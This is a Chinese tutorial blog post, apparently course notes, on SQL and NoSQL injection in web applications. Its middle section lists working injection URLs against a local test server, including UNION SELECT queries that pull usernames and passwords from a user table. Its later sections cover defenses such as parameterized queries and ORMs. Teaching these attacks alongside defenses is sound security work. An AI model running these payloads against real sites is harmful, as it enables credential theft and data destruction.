腾讯大牛教你web前后端漏洞分析与防御-接入层(SQL)注入

来源:互联网 发布:360 cn域名多少钱买的 编辑:程序博客网 时间:2024/06/06 02:19
  • 关系型数据库(access(mdd),sqlite(嵌入式设备.db),mysql,mssql server)
    • 存放结构化数据
    • 可高效操作大量数据
    • 方便处理数据之间的关联关系
    • SQL
      这里写图片描述

判断注入(数据变逻辑)

  • 猜解密码(工具)
  • 获取数据
  • 删库删表
  • 脱裤
and 1=1and 1=0and 1=1 and ""="and 1=0 and ""="返回不同结果
http://localhost:8045/post/11%22%20and%201=0%20and%20%22%22=%22http://localhost:8045/post/11%22%20and%201=1%20and%20%22%22=%22可以注入http://localhost:8045/post/11%22%20or%201=1%20and%20%22%22=%22猜版本号http://localhost:8045/post/11%22%20and%20mid(version(),1,1)=5%20and%20%22%22=%22猜解字段长度localhost:8045/post/11"union select 1,2,3,4,5,6 from user where ""="猜解字段内容http://localhost:8045/post/11%22union%20select%20id,1,2,3,4,5%20from%20user%20where%20%22%22=%22http://localhost:8045/post/11%22union%20select%20id,1,2,username,4,password%20from%20user%20where%20%22%22=%22爆密码,账号(显示位置是依据post表显示字段显示的)http://localhost:8045/post/101%22union%20select%201,password,2,username,5,6%20from%20user%20where%20%22%22=%22http://localhost:8045/post/101%22union%20select%201,password,2,username,4,6%20from%20user%20where%20id%20=2%20and%20%22%22=%22利用mid猜测密码

sql注入案例

这里写图片描述

防御

  • 关闭错误输出(判断注入是否正确)
  • 检查数据类型,参数(parseInt())
  • 对数据进行转义(npm install mysql 手工麻烦)
  • 使用参数化查询(npm install mysql2)
  • 使用ORM(对象关系映射)
    • npm install sequelize

这里写图片描述

这里写图片描述

NoSQL注入

  • 支持传入对象
  • 解决:
  • 检查数据类型
  • 类型转换
  • 写完整条件(验证对象内容)

这里写图片描述

PHP

  • 关闭错误输出(判断注入是否正确)
  • 检查数据类型,参数
  • 对数据进行转义
  • 使用参数化查询
  • 使用ORM(对象关系映射)

这里写图片描述

原创粉丝点击